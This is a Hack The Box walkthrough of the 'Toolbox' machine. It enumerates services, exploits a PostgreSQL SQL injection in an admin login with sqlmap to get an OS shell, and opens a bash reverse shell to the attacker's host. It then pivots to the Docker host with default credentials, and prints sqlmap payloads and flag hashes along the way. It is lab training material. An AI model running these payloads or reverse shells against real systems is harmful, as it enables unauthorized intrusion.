Hackthebox Toolbox Walkthrough

placeholder

Explanation

Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
This is a walkthrough of a box Toolbox.

Solution

1. Initial Enumeration

TCP Port Scanning:

root@kali:~# nmap -p- 10.10.10.236 -sV -sC
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-25 14:23 JST
Nmap scan report for 10.10.10.236
Host is up (0.30s latency).
Not shown: 65521 closed ports
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           FileZilla ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r-xr-xr-x 1 ftp ftp      242520560 Feb 18  2020 docker-toolbox.exe
| ftp-syst:
|_  SYST: UNIX emulated by FileZilla
22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 5b:1a:a1:81:99:ea:f7:96:02:19:2e:6e:97:04:5a:3f (RSA)
|   256 a2:4b:5a:c7:0f:f3:99:a1:3a:ca:7d:54:28:76:b2:dd (ECDSA)
|_  256 ea:08:96:60:23:e2:f4:4f:8d:05:b3:18:41:35:23:39 (ED25519)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: MegaLogistics
| ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR
| Not valid before: 2020-02-18T17:45:56
|_Not valid after:  2021-02-17T17:45:56
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 12m52s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-04-25T05:50:04
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 848.09 seconds

Gobuster Port 443:

root@kali:~# gobuster dir -u https://10.10.10.236 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            https://10.10.10.236
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/04/25 14:41:09 Starting gobuster
===============================================================
/images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/fonts (Status: 301)
/server-status (Status: 403)
===============================================================
2021/04/25 16:16:46 Finished
===============================================================

FTP Enumeration:

We can find docker-toolbox.exe.

root@kali:~# ftp 10.10.10.236
Connected to 10.10.10.236.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
Name (10.10.10.236:inar1): anonymous
331 Password required for anonymous
Password:
230 Logged on
Remote system type is UNIX.
ftp> ls
200 Port command successful
150 Opening data channel for directory listing of "/"
-r-xr-xr-x 1 ftp ftp      242520560 Feb 18  2020 docker-toolbox.exe
226 Successfully transferred "/"
ftp> quit
221 Goodbye

SMB Enumeration:

root@kali:~# smbclient -N -L //10.10.10.236
session setup failed: NT_STATUS_ACCESS_DENIED

2. Getting User

According to the SSL certificate, this server hosts admin.megalogistic.com for a virtualhost. placeholder

Add this entry to /etc/hosts and access using web browser.
We can find a login form for an administrator.

root@kali:~# cat /etc/hosts | grep admin
10.10.10.236 admin.megalogistic.com

placeholder

This page contains a login form, check if this login form has SQL injection.
We can use Burp Suite to create a text file for the further purpose. placeholder

root@kali:~# cat sqlmap.txt 
POST / HTTP/1.1
Host: admin.megalogistic.com
Connection: close
Content-Length: 27
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="88", "Google Chrome";v="88", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://admin.megalogistic.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://admin.megalogistic.com/
Accept-Encoding: gzip, deflate
Accept-Language: ja,ja-JP;q=0.9,en;q=0.8
Cookie: PHPSESSID=3fd8d348d81c7d2683bbad164dc0f3ab

username=test&password=test

Then, try to find an SQL injection with sqlmap.

root@kali:~# sqlmap -r sqlmap.txt --force-ssl
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.4.11#stable}
|_ -| . [(]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:42:16 /2021-04-29/

[15:42:16] [INFO] parsing HTTP request from 'sqlmap.txt'
[15:42:16] [INFO] testing connection to the target URL
[15:42:17] [INFO] checking if the target is protected by some kind of WAF/IPS
[15:42:18] [INFO] testing if the target URL content is stable
[15:42:19] [INFO] target URL content is stable
[15:42:19] [INFO] testing if POST parameter 'username' is dynamic
[15:42:20] [WARNING] POST parameter 'username' does not appear to be dynamic
[15:42:21] [INFO] heuristic (basic) test shows that POST parameter 'username' might be injectable (possible DBMS: 'PostgreSQL')
[15:42:23] [INFO] testing for SQL injection on POST parameter 'username'
it looks like the back-end DBMS is 'PostgreSQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'PostgreSQL' extending provided level (1) and risk (1) values? [Y/n] Y
[15:42:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:42:44] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[15:42:46] [INFO] testing 'Generic inline queries'
[15:42:47] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)'
[15:42:52] [INFO] POST parameter 'username' appears to be 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)' injectable (with --not-string="11")
[15:42:52] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:42:53] [INFO] POST parameter 'username' is 'PostgreSQL AND error-based - WHERE or HAVING clause' injectable 
[15:42:53] [INFO] testing 'PostgreSQL inline queries'
[15:42:54] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[15:42:54] [WARNING] time-based comparison requires larger statistical model, please wait....... (done)                                                 
got a 302 redirect to 'https://admin.megalogistic.com:443/dashboard.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] y
[15:43:51] [INFO] POST parameter 'username' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable 
[15:43:51] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:44:04] [INFO] POST parameter 'username' appears to be 'PostgreSQL > 8.1 AND time-based blind' injectable 
[15:44:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
[15:44:35] [WARNING] POST parameter 'password' does not appear to be dynamic
[15:44:36] [INFO] heuristic (basic) test shows that POST parameter 'password' might be injectable (possible DBMS: 'PostgreSQL')
[15:44:37] [INFO] testing for SQL injection on POST parameter 'password'
[15:44:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:44:48] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[15:44:50] [INFO] testing 'Generic inline queries'
[15:44:51] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)'
[15:44:54] [INFO] POST parameter 'password' appears to be 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)' injectable 
[15:44:54] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:44:55] [INFO] POST parameter 'password' is 'PostgreSQL AND error-based - WHERE or HAVING clause' injectable 
[15:44:55] [INFO] testing 'PostgreSQL inline queries'
[15:44:56] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[15:45:10] [INFO] POST parameter 'password' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable 
[15:45:10] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:45:23] [INFO] POST parameter 'password' appears to be 'PostgreSQL > 8.1 AND time-based blind' injectable 
[15:45:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
POST parameter 'password' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
    Payload: username=test' AND (SELECT (CASE WHEN (4255=4255) THEN NULL ELSE CAST((CHR(81)||CHR(83)||CHR(106)||CHR(79)) AS NUMERIC) END)) IS NULL-- qXuq&password=test

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: username=test' AND 6451=CAST((CHR(113)||CHR(120)||CHR(118)||CHR(113)||CHR(113))||(SELECT (CASE WHEN (6451=6451) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(112)||CHR(122)||CHR(113)) AS NUMERIC)-- ZQoE&password=test

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: username=test';SELECT PG_SLEEP(5)--&password=test

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: username=test' AND 2075=(SELECT 2075 FROM PG_SLEEP(5))-- Jmmv&password=test

Parameter: password (POST)
    Type: boolean-based blind
    Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
    Payload: username=test&password=test') AND (SELECT (CASE WHEN (1055=1055) THEN NULL ELSE CAST((CHR(84)||CHR(101)||CHR(101)||CHR(104)) AS NUMERIC) END)) IS NULL-- Gnvh

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: username=test&password=test') AND 7848=CAST((CHR(113)||CHR(120)||CHR(118)||CHR(113)||CHR(113))||(SELECT (CASE WHEN (7848=7848) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(112)||CHR(122)||CHR(113)) AS NUMERIC)-- cPkC

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: username=test&password=test');SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: username=test&password=test') AND 1750=(SELECT 1750 FROM PG_SLEEP(5))-- UTFh
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: username, type: Single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
[q] Quit
> q
[15:46:36] [ERROR] user quit

[*] ending @ 15:46:36 /2021-04-29/

root@kali:~# 

We found couple of parameters that have SQL injection. Using --os--shell option, we can gain a shell session.

root@kali:~# sqlmap -r sqlmap.txt --force-ssl --os-shell
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.4.11#stable}
|_ -| . ["]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:49:31 /2021-04-29/

[15:49:31] [INFO] parsing HTTP request from 'sqlmap.txt'
[15:49:32] [INFO] resuming back-end DBMS 'postgresql' 
[15:49:32] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
    Type: boolean-based blind
    Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
    Payload: username=test&password=test') AND (SELECT (CASE WHEN (1055=1055) THEN NULL ELSE CAST((CHR(84)||CHR(101)||CHR(101)||CHR(104)) AS NUMERIC) END)) IS NULL-- Gnvh

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: username=test&password=test') AND 7848=CAST((CHR(113)||CHR(120)||CHR(118)||CHR(113)||CHR(113))||(SELECT (CASE WHEN (7848=7848) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(112)||CHR(122)||CHR(113)) AS NUMERIC)-- cPkC

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: username=test&password=test');SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: username=test&password=test') AND 1750=(SELECT 1750 FROM PG_SLEEP(5))-- UTFh

Parameter: username (POST)
    Type: boolean-based blind
    Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
    Payload: username=test' AND (SELECT (CASE WHEN (4255=4255) THEN NULL ELSE CAST((CHR(81)||CHR(83)||CHR(106)||CHR(79)) AS NUMERIC) END)) IS NULL-- qXuq&password=test

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: username=test' AND 6451=CAST((CHR(113)||CHR(120)||CHR(118)||CHR(113)||CHR(113))||(SELECT (CASE WHEN (6451=6451) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(112)||CHR(122)||CHR(113)) AS NUMERIC)-- ZQoE&password=test

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: username=test';SELECT PG_SLEEP(5)--&password=test

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: username=test' AND 2075=(SELECT 2075 FROM PG_SLEEP(5))-- Jmmv&password=test
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: username, type: Single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
[q] Quit
> 0
[15:49:35] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL
[15:49:35] [INFO] fingerprinting the back-end DBMS operating system
[15:49:39] [INFO] the back-end DBMS operating system is Linux
[15:49:41] [INFO] testing if current user is DBA
[15:49:44] [INFO] retrieved: '1'
[15:49:45] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution
[15:49:45] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> id
do you want to retrieve the command standard output? [Y/n/a] n
[15:49:52] [INFO] retrieved: 'uid=102(postgres) gid=104(postgres) groups=104(postgres),102(ssl-cert)'
os-shell> 

To get a reverse shell, we can execute the following command.

root@kali:~# nc -nlvp 4443
Listening on 0.0.0.0 4443

os-shell> bash -c 'bash -i >& /dev/tcp/10.10.14.42/4443 0>&1'
do you want to retrieve the command standard output? [Y/n/a] n

root@kali:~# nc -nlvp 4443
Listening on 0.0.0.0 4443
Connection received on 10.10.10.236 49906
bash: cannot set terminal process group (2736): Inappropriate ioctl for device
bash: no job control in this shell
postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ id
id
uid=102(postgres) gid=104(postgres) groups=104(postgres),102(ssl-cert)
postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ 

user.txt is in the directory /var/lib/postgresql.

postgres@bc56e3cc55e9:/var/lib/postgresql$ cat user.txt
cat user.txt
f0183e44378ea9774433e2ca6ac78c6a  flag.txt

3. Getting Root

Now we had a shell in a container of docker-toolbox.
The IP address of the container is 172.17.0.2 and we can guess 172.17.0.1 is the Docker host VM.

postgres@bc56e3cc55e9:/var/lib/postgresql$ ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.2  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:ac:11:00:02  txqueuelen 0  (Ethernet)
        RX packets 3601  bytes 606518 (592.3 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2573  bytes 3664168 (3.4 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 8239  bytes 3003425 (2.8 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 8239  bytes 3003425 (2.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

According to the document, the default credential is docker:tcuser.
To SSH, we have to spawn an interactive TTY shell using python3.

postgres@bc56e3cc55e9:/$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

postgres@bc56e3cc55e9:/$ ssh docker@172.17.0.1
ssh docker@172.17.0.1
docker@172.17.0.1's password: tcuser

   ( '>')
  /) TC (\   Core is distributed with ABSOLUTELY NO WARRANTY.
 (/-_--_-\)           www.tinycorelinux.net

docker@box:~$ 

In /c/Users/Administrator/desktop, we can find root.txt (Is this intended?)

docker@box:/c/Users/Administrator/desktop$ cat root.txt                        
cat root.txt
cc9a0b76ac17f8f475250738b96261b3